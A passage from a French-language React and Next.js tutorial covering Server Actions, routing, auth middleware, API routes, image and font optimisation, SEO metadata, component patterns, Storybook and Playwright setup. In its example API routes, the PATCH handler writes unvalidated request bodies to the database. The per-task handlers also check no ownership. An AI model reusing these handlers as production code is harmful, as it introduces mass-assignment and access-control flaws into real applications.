  // Bouton qui connaît l'état de soumission du formulaire parent :
  function SubmitButton() {
    const { pending } = useFormStatus();
    return (
      <button type="submit" disabled={pending}>
        {pending ? 'Création...' : 'Créer la tâche'}
      </button>
    );
  }

  function CreateTaskForm() {
    const [state, action] = useFormState(createTaskFromForm, null);

    return (
      <form action={action}>
        <input name="title" placeholder="Titre de la tâche" required />
        <select name="priority">
          <option value="medium">Moyenne</option>
          <option value="high">Haute</option>
        </select>
        {state?.error && <p className="error">{state.error}</p>}
        <SubmitButton />
      </form>
    );
  }

  // Méthode 3 : Formulaire dans un Server Component (progressively enhanced) :
  // src/app/(app)/tasks/new/page.tsx
  import { createTaskFromForm } from '@/app/actions/tasks';

  export default function NewTaskPage() {
    return (
      <main>
        <h1>Nouvelle tâche</h1>
        {/* action = Server Action directement sur le form */}
        <form action={createTaskFromForm}>
          <input name="title" placeholder="Titre" required />
          <select name="priority">
            <option value="low">Basse</option>
            <option value="medium">Moyenne</option>
            <option value="high">Haute</option>
          </select>
          <button type="submit">Créer</button>
        </form>
        {/* Fonctionne même sans JavaScript ! Progressive Enhancement */}
      </main>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 52 : ROUTING AVANCÉ NEXT.JS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
52.1 — NAVIGATION AVEC NEXT/LINK ET USEROUTER
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import Link from 'next/link';
  import { useRouter, usePathname, useSearchParams } from 'next/navigation';

  // Link — Préchargement automatique au survol :
  <Link href="/dashboard">Dashboard</Link>
  <Link href={`/tasks/${task.id}`}>Voir la tâche</Link>
  <Link href={{ pathname: '/tasks', query: { status: 'todo' } }}>
    Tâches à faire
  </Link>

  // useRouter (Client Component uniquement) :
  'use client';
  function TaskCard({ task }) {
    const router = useRouter();
    return (
      <article onClick={() => router.push(`/tasks/${task.id}`)}>
        <h3>{task.title}</h3>
      </article>
    );
  }

  // usePathname — URL actuelle (pour nav active) :
  function NavLink({ href, children }) {
    const pathname = usePathname();
    const isActive = pathname === href || pathname.startsWith(href + '/');
    return (
      <Link
        href={href}
        className={`nav-link ${isActive ? 'nav-link--active' : ''}`}
        aria-current={isActive ? 'page' : undefined}
      >
        {children}
      </Link>
    );
  }

  // useSearchParams — Query string :
  'use client';
  function TaskFilters() {
    const searchParams = useSearchParams();
    const router       = useRouter();
    const pathname     = usePathname();

    const filter = searchParams.get('status') || 'all';

    const setFilter = (status: string) => {
      const params = new URLSearchParams(searchParams);
      if (status === 'all') params.delete('status');
      else                  params.set('status', status);
      router.push(`${pathname}?${params.toString()}`);
    };

    return (
      <div>
        {['all', 'todo', 'in_progress', 'done'].map(s => (
          <button
            key={s}
            onClick={() => setFilter(s)}
            aria-pressed={filter === s}
          >
            {s}
          </button>
        ))}
      </div>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
52.2 — MIDDLEWARE (AUTHENTIFICATION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/middleware.ts — S'exécute AVANT chaque requête
  import { NextResponse } from 'next/server';
  import type { NextRequest } from 'next/server';
  import { verifyToken } from '@/lib/auth';

  const PUBLIC_PATHS = ['/login', '/register', '/forgot-password', '/api/auth'];
  const ADMIN_PATHS  = ['/admin'];

  export async function middleware(request: NextRequest) {
    const { pathname } = request.nextUrl;

    // Autoriser les routes publiques :
    if (PUBLIC_PATHS.some(p => pathname.startsWith(p))) {
      return NextResponse.next();
    }

    // Vérifier le token :
    const token = request.cookies.get('taskflow_token')?.value;
    if (!token) {
      const loginUrl = new URL('/login', request.url);
      loginUrl.searchParams.set('from', pathname);
      return NextResponse.redirect(loginUrl);
    }

    try {
      const user = await verifyToken(token);

      // Vérification des rôles pour les routes admin :
      if (ADMIN_PATHS.some(p => pathname.startsWith(p))) {
        if (user.role !== 'admin') {
          return NextResponse.redirect(new URL('/unauthorized', request.url));
        }
      }

      // Passer l'info user dans les headers pour les Server Components :
      const response = NextResponse.next();
      response.headers.set('x-user-id', String(user.id));
      response.headers.set('x-user-role', user.role);
      return response;
    } catch {
      const loginUrl = new URL('/login', request.url);
      return NextResponse.redirect(loginUrl);
    }
  }

  // Configurer les routes où le middleware s'applique :
  export const config = {
    matcher: ['/((?!_next/static|_next/image|favicon.ico|public).*)'],
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
52.3 — API ROUTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/app/api/tasks/route.ts
  import { NextRequest, NextResponse } from 'next/server';
  import { db } from '@/lib/db';
  import { getAuthUser } from '@/lib/auth';
  import { taskSchema } from '@/schemas/task.schema';

  // GET /api/tasks
  export async function GET(request: NextRequest) {
    try {
      const user   = await getAuthUser(request);
      const params = request.nextUrl.searchParams;
      const status = params.get('status') || undefined;
      const page   = parseInt(params.get('page') || '1');

      const tasks = await db.task.findMany({
        where:   { assigneeId: user.id, ...(status ? { status } : {}) },
        orderBy: { createdAt: 'desc' },
        skip:    (page - 1) * 20,
        take:    20,
        include: { assignee: true },
      });

      return NextResponse.json({ data: tasks, success: true });
    } catch (error) {
      return NextResponse.json(
        { message: 'Erreur serveur', success: false },
        { status: 500 }
      );
    }
  }

  // POST /api/tasks
  export async function POST(request: NextRequest) {
    try {
      const user = await getAuthUser(request);
      const body = await request.json();

      const validated = taskSchema.parse(body);
      const task = await db.task.create({
        data: { ...validated, creatorId: user.id },
      });

      return NextResponse.json({ data: task, success: true }, { status: 201 });
    } catch (error) {
      if (error instanceof z.ZodError) {
        return NextResponse.json(
          { message: 'Données invalides', errors: error.flatten().fieldErrors },
          { status: 422 }
        );
      }
      return NextResponse.json({ message: 'Erreur serveur' }, { status: 500 });
    }
  }

  // src/app/api/tasks/[id]/route.ts
  interface Params { params: { id: string } }

  export async function GET(_: NextRequest, { params }: Params) {
    const task = await db.task.findUnique({
      where:   { id: parseInt(params.id) },
      include: { assignee: true, subtasks: true },
    });
    if (!task) return NextResponse.json({ message: 'Non trouvé' }, { status: 404 });
    return NextResponse.json({ data: task });
  }

  export async function PATCH(request: NextRequest, { params }: Params) {
    const body = await request.json();
    const task = await db.task.update({
      where: { id: parseInt(params.id) },
      data:  body,
    });
    return NextResponse.json({ data: task });
  }

  export async function DELETE(_: NextRequest, { params }: Params) {
    await db.task.delete({ where: { id: parseInt(params.id) } });
    return new NextResponse(null, { status: 204 });
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 53 : OPTIMISATIONS NEXT.JS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
53.1 — NEXT/IMAGE — IMAGES OPTIMISÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import Image from 'next/image';

  // Image locale (dimensions automatiques) :
  import logo from '@/assets/logo.png';
  <Image src={logo} alt="TaskFlow Logo" />

  // Image distante (dimensions requises) :
  <Image
    src={user.avatar}
    alt={`Avatar de ${user.name}`}
    width={40}
    height={40}
    className="avatar"
    priority={false}     // true pour les images Above The Fold
    quality={80}         // 1-100, défaut: 75
    placeholder="blur"   // Blur placeholder pendant le chargement
  />

  // Image plein-conteneur (fill) :
  <div style={{ position: 'relative', width: '100%', aspectRatio: '16/9' }}>
    <Image
      src={task.coverImage}
      alt={task.title}
      fill
      style={{ objectFit: 'cover' }}
      sizes="(max-width: 768px) 100vw, 50vw"
    />
  </div>

  // next.config.ts — Autoriser les domaines externes :
  const config: NextConfig = {
    images: {
      remotePatterns: [
        { protocol: 'https', hostname: 'avatars.githubusercontent.com' },
        { protocol: 'https', hostname: 'res.cloudinary.com' },
      ],
    },
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
53.2 — NEXT/FONT — FONTS OPTIMISÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/app/layout.tsx
  import { Inter, JetBrains_Mono } from 'next/font/google';

  const inter = Inter({
    subsets:  ['latin'],
    variable: '--font-inter',
    display:  'swap',   // Afficher la font système en attendant
  });

  const jetbrainsMono = JetBrains_Mono({
    subsets:  ['latin'],
    variable: '--font-mono',
    display:  'swap',
  });

  export default function RootLayout({ children }) {
    return (
      <html lang="fr" className={`${inter.variable} ${jetbrainsMono.variable}`}>
        <body>{children}</body>
      </html>
    );
  }

  /* globals.css */
  :root {
    --font-sans: var(--font-inter), system-ui, sans-serif;
    --font-mono: var(--font-mono), monospace;
  }
  body { font-family: var(--font-sans); }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
53.3 — METADATA API — SEO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Statique :
  export const metadata: Metadata = {
    title:       'TaskFlow — Gestion de tâches',
    description: 'Organisez vos projets et collaborez avec votre équipe.',
    keywords:    ['gestion tâches', 'productivité', 'équipe', 'SaaS'],
    openGraph: {
      title:       'TaskFlow',
      description: 'Gérez vos projets efficacement.',
      url:         'https://taskflow.app',
      siteName:    'TaskFlow',
      images:      [{ url: 'https://taskflow.app/og.png', width: 1200, height: 630 }],
      type:        'website',
      locale:      'fr_FR',
    },
    twitter: {
      card:    'summary_large_image',
      title:   'TaskFlow',
      creator: '@taskflowapp',
    },
    robots: { index: true, follow: true },
    alternates: { canonical: 'https://taskflow.app' },
  };

  // Dynamique (depuis les params de route) :
  export async function generateMetadata(
    { params }: { params: { id: string } }
  ): Promise<Metadata> {
    const task = await getTaskById(parseInt(params.id));
    if (!task) return { title: 'Tâche non trouvée' };

    return {
      title:       task.title,
      description: task.description ?? `Tâche : ${task.title}`,
      openGraph: {
        title: task.title,
        images: task.coverImage ? [task.coverImage] : [],
      },
    };
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 9
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-9.1 : Créer la structure Next.js de TaskFlow avec l'App Router.
           Groupes (auth) et (app), layout partagé avec Header + Sidebar.

  EX-9.2 : Page /tasks en Server Component : fetch les tâches de la DB.
           Afficher le spinner loading.tsx pendant le chargement.

  EX-9.3 : Implémenter generateMetadata() pour /tasks/[id].
           Titre dynamique, description, og:title depuis les données.

NIVEAU INTERMÉDIAIRE :
  EX-9.4 : Server Actions CRUD complet (create, update, delete, complete).
           Validation Zod côté serveur, revalidatePath après chaque action.

  EX-9.5 : Middleware d'authentification :
           Rediriger /dashboard -> /login si non connecté.
           Sauvegarder l'URL d'origine en searchParam.

  EX-9.6 : API Route /api/tasks avec GET (filtres) et POST.
           Réponses typées, validation, gestion des erreurs.

NIVEAU AVANCÉ :
  EX-9.7 : Parallel data fetching avec streaming dans DashboardPage.
           3 sections : Stats, RecentTasks, TeamActivity en parallèle.

  EX-9.8 : Infinite scroll côté client dans TasksPage.
           React Query + API Route paginée.

  EX-9.9 : Déployer TaskFlow Next.js sur Vercel avec Neon (Postgres) + Prisma.
           Variables d'env, Prisma migrate en production.


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 9
════════════════════════════════════════════════════════════════════════════════

  [OK] Next.js = React + Routing + Backend + Optimisations intégrées
  [OK] App Router : routing par fichiers, layouts imbriqués, groupes de routes
  [OK] Server Components : async, accès DB direct, pas de JS côté client
  [OK] Client Components : 'use client', useState/useEffect, événements
  [OK] Fetching : cache, no-store, ISR (next.revalidate)
  [OK] Server Actions : mutations sans API Route, revalidatePath
  [OK] Middleware : authentification, redirections, rôles
  [OK] API Routes : route.ts, GET/POST/PATCH/DELETE
  [OK] next/image : optimisation automatique des images
  [OK] next/font : fonts Google sans layout shift
  [OK] Metadata API : SEO statique et dynamique

PROCHAINE PARTIE : Patterns avancés, Monorepo, Storybook, Testing E2E
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 9 -> Continuer : react_master_part_10.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 10 : PATTERNS AVANCÉS, STORYBOOK, E2E, MONOREPO
================================================================================
VERSION 1.0 | CHAPITRES 54–62 | GUIDE COMPLET — NIVEAU EXPERT
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 54  ->  Patterns de composants avancés
  CHAPITRE 55  ->  Storybook — Documentation du Design System
  CHAPITRE 56  ->  Tests E2E avec Playwright
  CHAPITRE 57  ->  Monitoring, Observabilité et Sentry
  CHAPITRE 58  ->  WebSockets et temps réel dans React
  CHAPITRE 59  ->  PWA et Service Workers
  CHAPITRE 60  ->  Monorepo avec Turborepo
  CHAPITRE 61  ->  Micro-frontends
  CHAPITRE 62  ->  Checklist finale et prochaines étapes
  ANNEXES      ->  Glossaire, ressources, références
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 54 : PATTERNS DE COMPOSANTS AVANCÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
54.1 — RENDER PROPS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le pattern Render Props permet de partager de la logique d'état entre
composants en passant une FONCTION comme prop (qui retourne du JSX).

  // Composant générique de liste avec sélection :
  interface SelectableListProps<T> {
    items:         T[];
    renderItem:    (item: T, isSelected: boolean, onSelect: () => void) => ReactNode;
    renderEmpty?:  () => ReactNode;
    keyExtractor:  (item: T) => string | number;
    multiSelect?:  boolean;
  }

  function SelectableList<T>({
    items,
    renderItem,
    renderEmpty,
    keyExtractor,
    multiSelect = false,
  }: SelectableListProps<T>) {
    const [selectedIds, setSelectedIds] = useState<Set<string | number>>(new Set());

    const toggleSelect = (id: string | number) => {
      setSelectedIds(prev => {
        const next = new Set(prev);
        if (next.has(id)) {
          next.delete(id);
        } else {
          if (!multiSelect) next.clear();
          next.add(id);
        }
        return next;
      });
    };

    if (items.length === 0) {
      return renderEmpty ? <>{renderEmpty()}</> : <p>Aucun élément.</p>;
    }

    return (
      <ul role="listbox" aria-multiselectable={multiSelect}>
        {items.map(item => {
          const id = keyExtractor(item);
          return (
            <li key={id} role="option" aria-selected={selectedIds.has(id)}>
              {renderItem(item, selectedIds.has(id), () => toggleSelect(id))}
            </li>
          );
        })}
      </ul>
    );
  }

  // Utilisation :
  <SelectableList
    items={tasks}
    keyExtractor={task => task.id}
    multiSelect
    renderItem={(task, isSelected, onSelect) => (
      <TaskCard
        task={task}
        isSelected={isSelected}
        onSelect={onSelect}
      />
    )}
    renderEmpty={() => <EmptyState message="Aucune tâche" />}
  />

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
54.2 — HIGHER ORDER COMPONENTS (HOC)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un HOC est une fonction qui prend un composant et retourne un nouveau
composant enrichi de comportement supplémentaire.

  // HOC withAuth : protège un composant par authentification
  function withAuth<P extends object>(
    WrappedComponent: ComponentType<P>,
    requiredRole?: UserRole
  ) {
    function AuthenticatedComponent(props: P) {
      const { user, isLoading } = useAuth();

      if (isLoading) return <PageLoader />;
      if (!user) return <Navigate to="/login" />;
      if (requiredRole && user.role !== requiredRole) {
        return <UnauthorizedPage />;
      }

      return <WrappedComponent {...props} />;
    }

    // Conserver le displayName pour le debug :
    AuthenticatedComponent.displayName = `withAuth(${
      WrappedComponent.displayName || WrappedComponent.name
    })`;

    return AuthenticatedComponent;
  }

  // HOC withErrorBoundary :
  function withErrorBoundary<P extends object>(
    WrappedComponent: ComponentType<P>,
    FallbackComponent: ComponentType<{ error: Error; reset: () => void }>
  ) {
    return function WithErrorBoundary(props: P) {
      return (
        <ErrorBoundary fallback={({ error, reset }) =>
          <FallbackComponent error={error} reset={reset} />
        }>
          <WrappedComponent {...props} />
        </ErrorBoundary>
      );
    };
  }

  // HOC withAnalytics : tracker les pages vues :
  function withAnalytics<P extends object>(
    WrappedComponent: ComponentType<P>,
    pageName: string
  ) {
    return function TrackedComponent(props: P) {
      useEffect(() => {
        analytics.track('page_view', { page: pageName });
      }, []);

      return <WrappedComponent {...props} />;
    };
  }

  // Utilisation combinée :
  const ProtectedAdminPage = withAuth(
    withErrorBoundary(
      withAnalytics(AdminPage, 'admin_dashboard'),
      AdminErrorFallback
    ),
    'admin'
  );

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
54.3 — SLOT PATTERN (COMPOSITION AVANCÉE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // PageLayout avec slots nommés :
  interface PageLayoutProps {
    header?:   ReactNode;
    sidebar?:  ReactNode;
    toolbar?:  ReactNode;
    children:  ReactNode;
    footer?:   ReactNode;
  }

  function PageLayout({
    header,
    sidebar,
    toolbar,
    children,
    footer,
  }: PageLayoutProps) {
    return (
      <div className="page-layout">
        {header && <header className="page-header">{header}</header>}
        <div className="page-body">
          {sidebar && <aside className="page-sidebar">{sidebar}</aside>}
          <main className="page-main">
            {toolbar && <div className="page-toolbar">{toolbar}</div>}
            <div className="page-content">{children}</div>
          </main>
        </div>
        {footer && <footer className="page-footer">{footer}</footer>}
      </div>
    );
  }

  // Utilisation — ultra flexible :
  <PageLayout
    header={<AppHeader user={user} onSearch={handleSearch} />}
    sidebar={<AppSidebar activeRoute="/tasks" />}
    toolbar={
      <TasksToolbar
        filter={filter} onFilterChange={setFilter}
        onNewTask={openModal}
      />
    }
    footer={<Pagination page={page} total={total} onChange={setPage} />}
  >
    <TaskList tasks={filteredTasks} />
  </PageLayout>

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
54.4 — INVERSION OF CONTROL (IOC)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'IoC consiste à laisser l'utilisateur du composant contrôler son comportement.
Plutôt que de faire toute la logique dans le composant, on expose les "leviers".

  // SANS IoC — rigide :
  function TaskList({ tasks }: { tasks: Task[] }) {
    // La logique de tri est figée dans le composant
    const sorted = tasks.sort((a, b) => a.priority.localeCompare(b.priority));
    return <ul>{sorted.map(t => <TaskCard key={t.id} task={t} />)}</ul>;
  }

  // AVEC IoC — flexible :
  interface TaskListProps {
    tasks:         Task[];
    sortFn?:       (a: Task, b: Task) => number;
    filterFn?:     (task: Task) => boolean;
    renderTask?:   (task: Task) => ReactNode;
    onTaskClick?:  (task: Task) => void;
  }

  function TaskList({
    tasks,
    sortFn    = (a, b) => new Date(b.createdAt).getTime() - new Date(a.createdAt).getTime(),
    filterFn  = () => true,
    renderTask,
    onTaskClick,
  }: TaskListProps) {
    const processed = tasks.filter(filterFn).sort(sortFn);

    return (
      <ul>
        {processed.map(task => (
          <li key={task.id} onClick={() => onTaskClick?.(task)}>
            {renderTask ? renderTask(task) : <TaskCard task={task} />}
          </li>
        ))}
      </ul>
    );
  }

  // Utilisation personnalisée :
  <TaskList
    tasks={tasks}
    filterFn={task => task.priority === 'high'}
    sortFn={(a, b) => a.title.localeCompare(b.title)}
    renderTask={task => <CustomTaskRow task={task} />}
  />

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
54.5 — OBSERVER PATTERN (ÉTAT PARTAGÉ SANS CONTEXT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // EventEmitter simple pour déclencher des actions entre composants :
  class EventEmitter<Events extends Record<string, unknown>> {
    private listeners = new Map<keyof Events, Set<Function>>();

    on<K extends keyof Events>(event: K, listener: (data: Events[K]) => void) {
      if (!this.listeners.has(event)) this.listeners.set(event, new Set());
      this.listeners.get(event)!.add(listener);
      return () => this.off(event, listener);  // Retourner le cleanup
    }

    off<K extends keyof Events>(event: K, listener: Function) {
      this.listeners.get(event)?.delete(listener);
    }

    emit<K extends keyof Events>(event: K, data: Events[K]) {
      this.listeners.get(event)?.forEach(listener => listener(data));
    }
  }

  // Définir les événements de l'app :
  interface AppEvents {
    'task:created':   { task: Task };
    'task:deleted':   { taskId: number };
    'task:completed': { taskId: number };
    'notification':   { message: string; type: 'success' | 'error' | 'info' };
  }

  export const appEvents = new EventEmitter<AppEvents>();

  // Hook pour s'abonner aux événements :
  function useAppEvent<K extends keyof AppEvents>(
    event: K,
    handler: (data: AppEvents[K]) => void
  ) {
    useEffect(() => {
      const unsubscribe = appEvents.on(event, handler);
      return unsubscribe;
    }, [event, handler]);
  }

  // Utilisation :
  // Émettre depuis n'importe où :
  await createTask(data);
  appEvents.emit('task:created', { task: newTask });
  appEvents.emit('notification', { message: 'Tâche créée !', type: 'success' });

  // S'abonner dans un composant :
  function NotificationCenter() {
    const [notifications, setNotifications] = useState<Notification[]>([]);

    useAppEvent('notification', useCallback((data) => {
      setNotifications(prev => [...prev, { ...data, id: Date.now() }]);
    }, []));

    return <NotificationList notifications={notifications} />;
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 55 : STORYBOOK — DOCUMENTATION DU DESIGN SYSTEM
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
55.1 — QU'EST-CE QUE STORYBOOK ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Storybook est un outil de développement isolé pour les composants UI.
Il permet de développer, documenter et tester les composants visuellement.

AVANTAGES :
  [OK] Développer les composants sans lancer toute l'app
  [OK] Documentation vivante (stories = exemples interactifs)
  [OK] Partager avec les designers et PO sans setup technique
  [OK] Tests visuels (regression testing)
  [OK] Accessibilité a11y addon intégré

  npx storybook@latest init
  npm run storybook  -> http://localhost:6006

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
55.2 — ÉCRIRE DES STORIES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/components/common/Button/Button.stories.tsx
  import type { Meta, StoryObj } from '@storybook/react';
  import Button from './Button';

  // Métadonnées du composant :
  const meta: Meta<typeof Button> = {
    title:     'Design System/Button',    // Organisation dans la sidebar
    component: Button,
    tags:      ['autodocs'],              // Génère doc automatique
    parameters: {
      layout: 'centered',                 // Centrer le composant
      backgrounds: {
        default: 'light',
        values: [
          { name: 'light', value: '#f9fafb' },
          { name: 'dark',  value: '#0f172a' },
        ],
      },
    },
    argTypes: {
      variant: {
        control: { type: 'select' },
        options: ['primary', 'secondary', 'ghost', 'danger', 'success'],
        description: 'Apparence du bouton',
      },
      size: {
        control: { type: 'radio' },
        options: ['sm', 'md', 'lg', 'xl'],
      },
      isLoading: { control: 'boolean' },
      disabled:  { control: 'boolean' },
      fullWidth: { control: 'boolean' },
      children:  { control: 'text' },
    },
  };

  export default meta;
  type Story = StoryObj<typeof meta>;

  // Stories — chaque export = un exemple :
  export const Primary: Story = {
    args: { children: 'Bouton principal', variant: 'primary' },
  };

  export const Secondary: Story = {
    args: { children: 'Bouton secondaire', variant: 'secondary' },
  };

  export const Loading: Story = {
    args: { children: 'Envoi en cours...', isLoading: true },
  };

  export const WithIcon: Story = {
    args: {
      children:  'Nouvelle tâche',
      leftIcon:  '+',
    },
  };

  export const AllVariants: Story = {
    render: () => (
      <div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
        {(['primary', 'secondary', 'ghost', 'danger', 'success'] as const).map(v => (
          <Button key={v} variant={v}>{v}</Button>
        ))}
      </div>
    ),
  };

  export const AllSizes: Story = {
    render: () => (
      <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
        {(['sm', 'md', 'lg', 'xl'] as const).map(s => (
          <Button key={s} size={s}>{s}</Button>
        ))}
      </div>
    ),
  };

  // src/components/tasks/TaskCard/TaskCard.stories.tsx
  import type { Meta, StoryObj } from '@storybook/react';
  import TaskCard from './TaskCard';

  const MOCK_TASK = {
    id: 1, title: 'Implémenter l\'authentification JWT',
    status: 'in_progress' as const, priority: 'high' as const,
    assignee: { id: 1, name: 'Alice Martin', email: 'alice@taskflow.app', avatar: null, role: 'user' as const },
    dueDate: new Date('2025-12-31').toISOString(),
    tags: ['backend', 'security'], description: 'Mettre en place JWT + refresh tokens.',
    subtasks: [
      { id: 1, title: 'Setup JWT', completed: true, taskId: 1 },
      { id: 2, title: 'Refresh tokens', completed: false, taskId: 1 },
    ],
    createdAt: new Date().toISOString(), updatedAt: new Date().toISOString(),
    completedAt: null, estimatedHours: 8, commentsCount: 3, attachmentsCount: 1,
    project: { id: 1, name: 'TaskFlow Backend' },
  };

  const meta: Meta<typeof TaskCard> = {
    title:     'Tasks/TaskCard',
    component: TaskCard,
    parameters: { layout: 'padded' },
    args: {
      task:       MOCK_TASK,
      onComplete: (id) => console.log('Complete:', id),
      onDelete:   (id) => console.log('Delete:', id),
      onEdit:     (task) => console.log('Edit:', task),
    },
  };

  export default meta;
  type Story = StoryObj<typeof meta>;

  export const Default: Story = {};

  export const Completed: Story = {
    args: { task: { ...MOCK_TASK, status: 'done', completedAt: new Date().toISOString() } },
  };

  export const Overdue: Story = {
    args: { task: { ...MOCK_TASK, dueDate: new Date('2020-01-01').toISOString() } },
  };

  export const CriticalPriority: Story = {
    args: { task: { ...MOCK_TASK, priority: 'critical' } },
  };

  export const NoAssignee: Story = {
    args: { task: { ...MOCK_TASK, assignee: null } },
  };

  export const WithManyTags: Story = {
    args: { task: { ...MOCK_TASK, tags: ['backend', 'security', 'auth', 'jwt', 'api'] } },
  };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 56 : TESTS E2E AVEC PLAYWRIGHT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
56.1 — POURQUOI PLAYWRIGHT ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Playwright teste l'application COMPLÈTE (frontend + backend) comme un
vrai utilisateur dans un vrai navigateur.

  Tests unitaires     -> Composants isolés
  Tests d'intégration -> Composants + hooks + mocks API
  Tests E2E           -> App complète (navigateur réel)

  npm install -D @playwright/test
  npx playwright install  # Installer les navigateurs

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
56.2 — CONFIGURATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // playwright.config.ts
  import { defineConfig, devices } from '@playwright/test';

  export default defineConfig({
    testDir:    './e2e',
    fullyParallel: true,
    forbidOnly: !!process.env.CI,
    retries:    process.env.CI ? 2 : 0,
    workers:    process.env.CI ? 1 : undefined,
    reporter:   'html',
    use: {
      baseURL:       'http://localhost:3000',
      trace:         'on-first-retry',
      screenshot:    'only-on-failure',
      video:         'retain-on-failure',
    },
    projects: [
      { name: 'chromium', use: { ...devices['Desktop Chrome'] } },
      { name: 'firefox',  use: { ...devices['Desktop Firefox'] } },
      { name: 'webkit',   use: { ...devices['Desktop Safari'] } },
      { name: 'mobile',   use: { ...devices['iPhone 13'] } },
    ],
    // Lancer le serveur dev avant les tests :
    webServer: {
      command: 'npm run dev',
      url:     'http://localhost:3000',
      reuseExistingServer: !process.env.CI,
    },
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
56.3 — ÉCRIRE DES TESTS E2E
